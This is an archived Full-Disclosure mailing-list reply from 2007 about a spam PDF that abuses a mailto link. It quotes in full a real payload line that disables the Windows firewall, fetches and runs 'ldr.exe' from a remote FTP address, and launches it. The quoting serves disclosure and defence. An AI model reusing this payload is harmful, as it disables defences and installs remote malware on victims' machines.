full-disclosure - Re: PDF mailto exploit in the wild

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-Id: <200710232154.l9NLskl2005370@asti.maths.usyd.edu.au>
Date: Wed, 24 Oct 2007 07:54:46 +1000
From: Paul Szabo <psz@...hs.usyd.edu.au>
To: 3APA3A@...URITY.NNOV.RU
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: PDF mailto exploit in the wild

Dear 3APA3A,

>  Messages  like  this  I've  got are PDF spam without attempt to exploit
>  something, and are spammed since July. Not sure about this one though.

You seem to have missed the line

obj<</URI(mailto:%/../../../../../../Windows/system32/cmd".exe"" /c /q \"@echo off&netsh firewall set opmode mode=disable&echo o 81.95.146.130>1&echo binary>>1&echo get /ldr.exe>>1&echo quit>>1&ftp -s:1 -v -A>nul&del /q 1& start ldr.exe&\" \"&\" "nul.bat)/S/URI>>

within "my" PDF. Am not sure whether that would have worked, but is
unfriendly and not your average Viagra, sharemarket or porn message.
Some AV vendors recognize it, as shown by virustotal.

Cheers,

Paul Szabo   psz@...hs.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/